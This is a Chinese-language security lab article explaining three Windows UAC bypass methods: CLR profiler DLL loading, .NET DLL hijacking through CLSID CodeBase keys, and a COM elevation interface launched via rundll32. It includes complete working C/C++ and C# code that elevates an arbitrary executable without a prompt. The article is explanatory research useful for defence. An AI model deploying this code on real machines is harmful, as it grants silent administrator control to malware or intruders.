白名單繞過UAC方法原理介紹
前言
UAC(User AccountControl)是從Windows Vista開始出現的安全技術,它通過限制應用程式的執行許可權來達到提升作業系統安全性的目的。在開啟UAC的前提下,即使使用者使用的是管理員賬戶登入,預設也只能獲取標準許可權,當用戶某些動作可能會影響系統的安全及穩定性時,UAC便會彈出提示框請求管理員許可權,提醒使用者該操作屬於敏感操作。 然而UAC並不是萬能的,否則病毒、木馬就不會肆意傳播感染了,它們經常利用一些UAC技術上的“漏洞”來實現繞過UAC提示,達到悄悄提權的目的。
一、概述
對此,天融信阿爾法實驗室研究員針對UAC繞過的方法進行了研究和整理,網上有很多關於UAC繞過的技術討論,hfiref0x在github上整理了各種UAC繞過技術的實現: ofollow" rel="nofollow,noindex" target="_blank">https://github.com/hfiref0x/UACME ,到目前為止,其整理的技術共有48種,還未修復的有17種。
其中大多都是利用白名單程式繞過UAC。網上也有這方便介紹的帖子,像:
COM介面利用的: http://www.freebuf.com/articles/system/116611.html
.NET程式繞過: https://offsec.provadys.com/UAC-bypass-dotnet.html
他們介紹了白名單程式的利用方式,有一定技術功底的可以明白其原理並做到按圖索驥的利用,但基礎不好的可能要多做幾次實驗。本文可以看作是上述利用方式的實驗記錄,詳細介紹了幾種白名單程式繞過UAC利用的原理、記錄其手工實現過程和自動化實現方法。掌握這些,就相當於掌握了”心法”,”招式”就可以隨意使用了。
測試環境:
Win7 旗艦版 x32 7601
工具:
Procmon、WinDbg、IDA、VS2015
原始碼:
https://github.com/alphaSeclab/bypass-uac
二、CLR載入任意DLL
在所有的提權請求中,有一些程式的提權請求不會觸發UAC彈框提示,而是預設允許提權執行,我們稱這些程式為微軟的白名單程式,這些程式是哪些呢?
控制面板中的管理程式絕大部分都是預設提權執行的,而這些程式中有些並不是可執行檔案,而是類似mmc程式的外掛檔案,找到這些程式的原始位置,發現它們都是以msc為字尾的檔案:
雙擊任一msc檔案,通過Procmon監控發現最終執行的都是mmc.exe檔案
在這些msc中,其中有些執行時需要依賴CLR支援,像事件檢視器、任務計劃程式等。CLR是什麼呢?CLR(Common Language Runtime),是微軟為他們的.NET的虛擬機器所選用的名稱,.NET程式的執行依賴CLR的支援,就像JAVA的虛擬機器。
而CLR有一個Profiling機制( https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview )。
簡單來說,就是我們提供一個DLL,當任何高許可權的.NET執行時,CLR會主動載入該DLL和執行的程式互動,程式的執行情況都會發送給該DLL,類似於OD除錯程式。所以當這些預設提權的管理程式執行時就會被CLR載入我們的提供的DLL,在該DLL中建立的程序、執行的行為也是高許可權的行為,從而達到繞過UAC的目的。
那麼CLR如何知道怎麼載入哪個DLL呢?微軟官方文件有介紹: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment 。
2.1 新增環境變數
首先,我們新增以下環境變數:
COR_ENABLE_PROFILING = 1 COR_PROFILER={CLSIDor ProgID}
CLR會先檢查環境變數中COR_ENABLE_PROFILING是否為1,若檢查通過,則根據.NET版本不同,查詢DLL位置的方法也不同,對於低於4.0的則去登錄檔中查詢CLSID或ProgID項,找到其指定的dll檔案路徑。從.NET4.0版本開始則先查詢環境變數COR_PROFILER_PATH是否指定dll檔案路徑,沒有再去登錄檔中查詢對應的CLSID項。所以這裡我們就不設定COR_PROFILER_PATH了,這樣不管是.NET X都讓CLR去登錄檔中找我們的dll。
雖然幫助文件說環境變數COR_PROFILER的值可以是CLSID也可以是任意名稱的ProgID,但實際使用時發現只有CLSID測試正常。
新增環境變數的方法即可以通過系統高階設定新增,也可以通過登錄檔新增:
在使用者變數中新增環境變數(操作使用者環境變數不需要高許可權):
COR_ENABLE_PROFILING=1 COR_PROFILER={12345678-1234-1234-1234-123456789ABC}
這個CLSID是隨意取的,只要儘量保證不和已有的CLSID重複即可,如果不放心,可以使用VS自帶的GUID生成工具建立一個。
使用登錄檔新增:
2.2 註冊CLSID
然後我們就可以去登錄檔中註冊我們的CLSID,並設定DLL路徑了
找到HKEY_CURRENT_USER\Software\Classes\CLSID項,分別新增以下新項:
{11111111-1111-1111-1111-111111111111}和InprocServer32
設定項InprocServer32的預設值為指定dll路徑:
該dll中只負責執行cmd.exe,並退出主程序:
BOOL APIENTRY DllMain ( HMODULE hModule,DWORDul_reason_for_call ,LPVOID lpReserved) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{WinExec("cmd.exe" , SW_SHOWNORMAL);ExitProcess(0);break;}case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; }
現在我們嘗試執行gpedit.msc,看能否執行管理員許可權的cmd程式:
到此,手工實驗成功,成功獲取管理員許可權且沒有UAC彈框。且所有高許可權的.NET程式執行時都會載入我們的dll。但這裡提權時會影響此後其他.NET程式的正常使用,下面我們把這些步驟自動化,並實現給指定程式提權,且不影響.NET程式的正常使用。
2.3 自動化實現
exe程式:
int main(intargc,char* argv[]) {HKEY hKeyExe = NULL ;HKEY hEnv = NULL ;HKEY hCLSID = NULL ;// 1、 註冊提權exe地址,dll檔案讀取該地址執行if (argc < 2){printf("請指定提權exe檔案路徑!\n" );return 0;}// 1.1 將需要提權的檔案路徑註冊到HKCU\Software\MyExe下int nLen = strlen (argv[1]);TCHAR szExePath[MAX_PATH ] = {};MultiByteToWideChar(CP_ACP, NULL , argv[1], nLen, szExePath , MAX_PATH);TCHAR szKeyName[MAX_PATH ]={ L"Software\\MyExe" };long lResult = RegCreateKeyEx (HKEY_CURRENT_USER,szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS| KEY_WOW64_32KEY , NULL, &hKeyExe, NULL );if (lResult != ERROR_SUCCESS )return 0;RegSetValueEx(hKeyExe, NULL , 0, REG_SZ, (BYTE*)szExePath ,nLen*2);RegCloseKey(hKeyExe);// 2、 新增環境變數lResult = RegCreateKeyEx(HKEY_CURRENT_USER ,L"Environment", 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hEnv, NULL );if (lResult != ERROR_SUCCESS )return 0;RegSetValueEx(hEnv,L"COR_ENABLE_PROFILING", 0, REG_SZ, (BYTE *)L"1", 2);TCHAR wcCLSID[] =L"{11111111-1111-1111-1111-111111111111}";RegSetValueEx(hEnv,L"COR_PROFILER", 0, REG_SZ, (BYTE*) wcCLSID, wcslen(wcCLSID)*2);RegCloseKey(hEnv);// 3、 註冊CLSID,指定dll路徑TCHAR szCLSID[MAX_PATH ] = {L"Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InprocServer32"};// 演示用,DLL路徑固定TCHAR szDll[MAX_PATH ] = {L"C:\\Temp\\test.dll"};RegCreateKeyEx(HKEY_CURRENT_USER ,szCLSID, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hCLSID, NULL );RegSetValueEx(hCLSID, NULL , 0, REG_SZ, (BYTE*)szDll , wcslen(szDll)*2);RegCloseKey(hCLSID);// 4、啟動msc程式,載入DLLsystem("mmc.exe gpedit.msc");// 5、刪除註冊的CLSID鍵,防止影響別的.NET程式執行RegDeleteKeyEx(HKEY_CURRENT_USER , szCLSID, KEY_WOW64_32KEY, NULL );return 0; }
dll程式碼:
BOOL APIENTRYDllMain( HMODULEhModule,DWORDul_reason_for_call,LPVOIDlpReserved) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{//讀取需要提權的exe路徑並執行HKEY hKeyExe= NULL;TCHAR szExePath [MAX_PATH] = {};TCHAR szKeyName [MAX_PATH] = { L"Software\\MyExe" };long lResult = RegOpenKeyEx (HKEY_CURRENT_USER,szKeyName, 0, KEY_READ| KEY_WOW64_32KEY, &hKeyExe);if (lResult != ERROR_SUCCESS )ExitProcess(0);DWORD dwSize= MAX_PATH*2;RegQueryValueEx(hKeyExe , NULL, 0, NULL, (BYTE *)szExePath, &dwSize);char cPath[MAX_PATH ] = {};WideCharToMultiByte(CP_ACP , NULL, szExePath, wcslen (szExePath), cPath, MAX_PATH , NULL, NULL);WinExec(cPath,SW_SHOWNORMAL );RegCloseKey(hKeyExe );ExitProcess(0);break;}case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; }
執行效果圖:
三、DLL劫持
DLL劫持技術經常被惡意程式利用來執行惡意行為,同樣,DLL劫持技術原理也可用於UAC繞過。一般PE檔案載入DLL依賴項的時候,載入器會在磁碟目錄中直接搜尋這些DLL檔案,.NET程式則不同,因為.NET版本問題,同樣的DLL其.NET版本不同,CLR載入這些DLL時會通過登錄檔中的CLSID項來確定要載入的dll位置,這就給了我們可乘之機,欺騙CLR讓其載入我們指定的DLL。預設提權的管理程式載入我們指定的dll後,在dll內就可以執行提權程式碼了。
3.1 尋找目標DLL
以任務計劃程式taskschd.msc為例,使用微軟提供的工具Procmon篩選LoadImage檢視其執行時會載入哪些DLL:
上面的紅色框內的這種DLL為正常載入的DLL,下面的紅色框內帶版本的的DLL就是可以被我們利用的DLL。
篩選CLSID相關的登錄檔操作:
找到登錄檔項路徑中含有類似3.0.0.0這樣帶版本的,其操作的登錄檔項就是我們要找的目標。
其中Assmbly的值由dll名稱、該DLL的.NET版本、語言及其token組成,觀察LoadImage圖中的DLL路徑就會發現其路徑中的值是由Assembly組成。其實CLR搜尋登錄檔項時,DLL路徑不僅可以由Assmbly指定,還可以由CodeBase值指定,由於我們不能作業系統目錄,所以CodeBase值就對我們很有用了。
Class為載入該DLL時訪問的類。我們可以通過該類的靜態建構函式來執行目的碼。
InprocServer32下的子鍵3.0.0.0中的值和InprocServer32值相似:
我們只需要將DLL名和類名指定為我們自己的DLL名和類名,並由“CodeBase“指定DLL路徑就可以達到欺騙CLR載入我們自己的DLL的目的。但是注意不要直接操作該登錄檔項,因為其根鍵為HKCR,HKCR中的CLSID由HKLM和HKCU下的Software\Classes\CLSID組成,我們假想中的環境是沒有操作HKLM的許可權的,所以要在HKCU中建立類似的項。
3.2 DLL劫持
在HKEY_CURRENT_USER\Software\Classes\CLSID下新增子鍵{D5AB5662-131D-453D-88C8-9BBA87502ADE},並將HKEY_CLASSES_ROOT\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}鍵的值依次拷貝到新建項下。
準備C#編譯的DLL,注意.NET版本要和上圖中Assembly指定的一致:
DLL中啟動CMD然後退出載入DLL的程序(這裡指taskschd.msc)
namespace CLSID { public class Class1 { static Class1() { Process.Start("cmd.exe");Environment.Exit(0); } }}
編譯生成後拷貝到C:\Temp\CLSID.dll
將登錄檔中的InprocServer32和3.0.0.0中的值改為我們的DLL資訊,並由CodeBase指定DLL路徑:
執行taskschd.msc後成功彈出提權後的cmd命令列:
3.3 自動化實現
下面我們實現其自動化程式碼,實現提權指定程式,並清理登錄檔痕跡,不影響mmc程式的正常執行:
EXE程式碼:
int main(intargc, char* argv[]) {HKEY hKeyExe = NULL ;HKEY hKeyCLSIDSrc = NULL ;HKEY hKeyCLSIDDes = NULL ;// 1、 註冊提權exe地址,dll檔案讀取該地址執行if (argc < 2){printf("請指定提權exe檔案路徑!\n" );return 0;}// 1.1 將需要提權的EXE檔案路徑註冊到HKCU\Software\MyExe下int nLen = strlen (argv[1]);TCHAR szExePath[MAX_PATH ] = {};MultiByteToWideChar(CP_ACP, NULL , argv[1], nLen, szExePath , MAX_PATH);TCHAR szKeyName[MAX_PATH ] = { L"Software\\MyExe" };long lResult = RegCreateKeyEx (HKEY_CURRENT_USER,szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hKeyExe, NULL );if (lResult != ERROR_SUCCESS )return 0;RegSetValueEx(hKeyExe, NULL , 0, REG_SZ, (BYTE*)szExePath , nLen * 2);RegCloseKey(hKeyExe);// 2、 拷貝並修改CLSID,指定dll路徑// 2.1、拷貝TCHAR szCLSIDSrc[MAX_PATH ] = { L"CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}" };TCHAR szCLSIDDes[MAX_PATH ] = { L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}" };RegOpenKeyEx(HKEY_CLASSES_ROOT , szCLSIDSrc, 0, KEY_READ|KEY_WOW64_32KEY , &hKeyCLSIDSrc);RegCreateKeyEx(HKEY_CURRENT_USER , szCLSIDDes, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS| KEY_WOW64_32KEY, NULL, & hKeyCLSIDDes, NULL);RegCopyTree(hKeyCLSIDSrc, NULL , hKeyCLSIDDes);RegCloseKey(hKeyCLSIDSrc);RegCloseKey(hKeyCLSIDDes);// 2.2、 修改TCHAR *szSubKey[] = {L"\\InprocServer32" ,L"\\3.0.0.0" };for (inti=0;i<2;++i){wcscat_s(szCLSIDDes , MAX_PATH, szSubKey[i ]);RegOpenKeyEx(HKEY_CURRENT_USER , szCLSIDDes, 0, KEY_SET_VALUE | KEY_WOW64_32KEY , &hKeyCLSIDDes);DWORD cbData= (DWORD)((1 + wcslen(L"CLSID, Version=3.0.0.0, Culture=neutral" )) * sizeof(WCHAR));lResult = RegSetValueEx (hKeyCLSIDDes, L"Assembly", 0,REG_SZ, (BYTE *)L"CLSID, Version=3.0.0.0, Culture=neutral", cbData);cbData = (DWORD )((1 + wcslen(L"CLSID.Class1")) * sizeof (WCHAR));lResult = RegSetValueEx (hKeyCLSIDDes, L"Class", 0,REG_SZ, (BYTE *)L"CLSID.Class1", cbData);cbData = (DWORD )((1 + wcslen(L"file://c://Temp//CLSID.dll")) *sizeof(WCHAR));lResult = RegSetValueEx (hKeyCLSIDDes, L"CodeBase", 0,REG_SZ, (BYTE *)L"file://c://Temp//CLSID.dll", cbData);RegCloseKey(hKeyCLSIDDes );}// 3、啟動msc程式,載入DLLsystem("mmc.exe taskschd.msc");// 4、刪除註冊的CLSID鍵,防止影響正常程式執行RegOpenKeyEx(HKEY_CURRENT_USER , L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}", 0,DELETE| KEY_ENUMERATE_SUB_KEYS|KEY_QUERY_VALUE | KEY_WOW64_32KEY, & hKeyCLSIDDes);RegDeleteTree(hKeyCLSIDDes, NULL );RegDeleteKeyEx(HKEY_CURRENT_USER , L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}", KEY_WOW64_32KEY , NULL);return 0; }
DLL程式碼(注意.NET版本):
namespace CLSID {public classClass1{static Class1(){RegistryKey Key= Registry.CurrentUser.OpenSubKey ("Software\\MyExe", false);string CustomParam= Key.GetValue("" ).ToString();Key.Close ();Process.Start (CustomParam);Environment.Exit (0);}} }
執行效果,可指定任意exe程式:
四、COM介面繞過UAC
上面兩種方法利用的都是mmc.exe程式繞過UAC,其實在%systemroot%下有很多exe程式都是windows系統的白名單程式,像cmd.exe、calc.exe等,但是這些程式和mmc.exe不同,如果在這些程式上右鍵以管理員許可權執行,他們同樣會觸發UAC彈框提示,那像這樣的白名單還有什麼用處呢?
4.1 原理介紹
我們解除安裝程式時,如果直接執行解除安裝程式,則會觸發彈框提示:
但是通過控制面板的解除安裝程式視窗解除安裝程式時卻不會觸發UAC彈框提示,我們利用WinDbg跟蹤explorer.exe檢視它是如何提權執行解除安裝程式的:
explorer.exe最終呼叫的是appwiz模組中的介面實現提權,那麼我們是否可以同樣呼叫該介面實現繞過提權呢?用IDA分析appwiz模組檢視其函式呼叫過程:
發現找不到CARPUninstallStringLauncher::LaunchUninstallStringAndWait,該介面未匯出(windbg能識別是因為載入了符號檔案)。手動載入符號檔案(已提供在原始碼中,版本win7_32_7601):
由windbg呼叫棧可知,該函式由CInstalledAapp::_CreateAppModifyProcess呼叫,找到呼叫返回位置:函式地址偏移+0×244
F5轉到虛擬碼:
像是虛擬函式的呼叫,回到CARPUninstallStringLauncher::LaunchUninstallStringAndWait函式,找到其虛擬函式表:
虛擬函式表的結構找到了,如果找到獲取CARPUninstallStringLauncher例項的方法,就可以直接呼叫該函式實現提權了。回到呼叫該函式的地方CInstalledAapp::_CreateAppModifyProcess:
this的獲取方法和COM介面呼叫相同:通過CLSID和IID。上圖中,獲取PPV的方法有兩個,但我們知道CoCreateInstance並不能提權,CoCreateInstanceAsAdminWithCorrectBitness函式名更像是我們需要的函式,檢視其函式實現:
這樣PPV的獲取方法和呼叫程序的介面都找到後,我們就可以程式碼實現了。
定義介面變數型別:
struct IARPUninstallStringLauncher; typedef struct IARPUninstallStringLauncherVtbl{ HRESULT(_stdcall * QueryInterface)( __RPC__in IARPUninstallStringLauncher* This, __RPC__in REFIIDriid, _COM_Outptr_void**ppvObject); ULONG(_stdcall * AddRef)( __RPC__in IARPUninstallStringLauncher* This); ULONG(_stdcall * Release)( __RPC__in IARPUninstallStringLauncher* This); HRESULT(_stdcall * LaunchUninstallStringAndWait)( __RPC__in IARPUninstallStringLauncher* This, _In_ HKEYhKey, _In_ LPCOLESTRItem, _In_ BOOLbModify, _In_ HWNDhWnd); HRESULT(_stdcall * RemoveBrokenItemFromInstalledProgramsList)( __RPC__in IARPUninstallStringLauncher* This, _In_ HKEYhKey, _In_ LPCOLESTRItem); }IARPUNINSTALLSTRINGLAUNCHERVTBL, *PIARPUNINSTALLSTRINGLAUNCHERVTBL; typedef struct IARPUninstallStringLauncher { IARPUninstallStringLauncherVtbl *lpVtbl; }IARPUNINSTALLSTRINGLAUNCHER,*PIARPUNINSTALLSTRINGLAUNCHER;
邏輯程式碼:
int _tmain(intargc, _TCHAR* argv []) { CLSIDclsid; IID iid; HRESULT hr; BIND_OPTS3 bo; WCHARszElevationMoniker [300]; PIARPUNINSTALLSTRINGLAUNCHER ppv; // 獲取提權com介面 if (IIDFromString( L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) || IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}" , &iid)) return 0; CoInitialize(NULL); hr = StringCchPrintf( szElevationMoniker, sizeof(szElevationMoniker) /sizeof(szElevationMoniker[0]), L"Elevation:Administrator!new:%s", L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}" ); if (FAILED( hr)) return 0; memset(&bo, 0,sizeof(bo)); bo.cbStruct =sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; hr = CoGetObject( szElevationMoniker, &bo, iid, ( void**)&ppv); // 呼叫HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程式 if (SUCCEEDED( hr)) { ppv->lpVtbl ->LaunchUninstallStringAndWait(ppv, 0, L"test" , 0, NULL); ppv->lpVtbl ->Release(ppv); } CoUninitialize(); return 0; }
因為我們是以解除安裝的方式呼叫指定程式,程式碼中呼叫的是“test”解除安裝項,所以需要在登錄檔位置HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall中新建test項:
執行後發現能成功提權,但是有UAC提示框,為什麼呢?上面的程式碼和程式解除安裝面板的唯一區別就是執行提權的程序不同,解除安裝時使用的是explorer.exe程序,這時候就體現出explorer.exe這些白名單的特權:不觸發UAC彈框提示。
所以,要實現提權操作需要兩個東西:COM提權介面和白名單程式。
怎麼讓白名單程式呼叫我們上面的函式呢:dll注入或payload注入,但是對於白名單程序注入這種敏感操作會引起主流殺軟的攔截提醒,所以一般採用另一種方法:封裝成DLL利用rundll32載入該dll,因為rundll32也是白名單程式,COM介面提權不會觸發UAC彈框。
4.2 自動化實現
rundll32.exe載入的dll比需有如下原型的匯出函式:
void CALLBACK FunctionName ( HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow );
當執行“rundll32.exedll名,函式名 命令列引數”,rundll32就會載入該dll,並把命令列引數作為匯出函式的第3個引數傳遞給該函式並呼叫它,我們只需要將上面的邏輯程式碼寫在該匯出函式裡,然後呼叫rundll32即可:
更改後的exe程式碼:
int main(intargc, char* argv []) { HKEY hKeyExe = NULL ; if (argc < 2) { printf(" 請指定提權exe檔案路徑!\n"); return 0; } // 1. 將需要提權的檔案路徑註冊到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\test下 int nLen = strlen (argv[1]); TCHAR szExePath[MAX_PATH ] = {}; MultiByteToWideChar(CP_ACP , NULL, argv[1], nLen , szExePath, MAX_PATH); TCHAR szKeyName[MAX_PATH ] = { L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\test" }; long lResult = RegCreateKeyEx (HKEY_CURRENT_USER, szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hKeyExe, NULL ); if (lResult != ERROR_SUCCESS ) return 0; RegSetValueEx(hKeyExe,L"DisplayName", 0, REG_SZ, (BYTE*) L"test", 10); RegSetValueEx(hKeyExe,L"UninstallString", 0, REG_SZ, (BYTE *)szExePath, (nLen+1)*2); RegCloseKey(hKeyExe); // 2 呼叫rundll32 system("rundll32.exe com_dll.dll,ElevFunc" ); return 0; }
封裝的dll程式碼(將第1次的main函式的程式碼封裝到匯出函式即可,注意給匯出函式有前後綴,給其取個別名方便呼叫):
#pragma comment(linker, "/export:ElevFunc=_ElevFunc@16" ) extern "C" _declspec (dllexport) void CALLBACKElevFunc( HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow ) { CLSIDclsid; IID iid; HRESULT hr; BIND_OPTS3 bo; WCHARszElevationMoniker [300]; PIARPUNINSTALLSTRINGLAUNCHER ppv; // 獲取提權com介面 if (IIDFromString( L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) || IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}" , &iid)) return; CoInitialize(NULL); hr = StringCchPrintf( szElevationMoniker, sizeof(szElevationMoniker) /sizeof(szElevationMoniker[0]), L"Elevation:Administrator!new:%s", L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}" ); if (FAILED( hr)) return; memset(&bo, 0,sizeof(bo)); bo.cbStruct =sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; hr = CoGetObject( szElevationMoniker, &bo, iid, ( void**)&ppv); // 呼叫HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程式 if (SUCCEEDED( hr)) { ppv->lpVtbl-> LaunchUninstallStringAndWait(ppv, 0, L"test", 0, NULL ); ppv->lpVtbl-> Release(ppv); } CoUninitialize(); ExitProcess(0); return; }
執行效果如下:
五、總結
CLS載入任意dll雖然方便:任意高許可權.NET程式都會載入dll執行提權程式碼,但涉及環境變數的操作是敏感操作,會被主流殺軟攔截;DLL劫持相比CLS來說比較“專一”了,只有依賴指定dll的.NET程式才會被劫持載入。而且不會引起主流殺軟攔截;COM介面繞過選擇度比較高,不想依賴DLL就選擇payload注入,但會引起攔截,利用rundll32執行則需要dll依賴,但不會引起攔截,且自由度比CLR和DLL劫持自由度更高,不會影響其他程式的正常執行。
這幾種方法只是繞過UAC的多種方法的一部分,但從這也可以看出,UAC並不能提供足夠的安全防護,所以不要過於信賴UAC,養成良好的安全意識和操作習慣更重要。
六、參考資料
https://github.com/hfiref0x/UACME
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
https://offsec.provadys.com/UAC-bypass-dotnet.html
http://www.freebuf.com/articles/system/116611.html
*本文作者:alphalab,轉載請註明來自FreeBuf.COM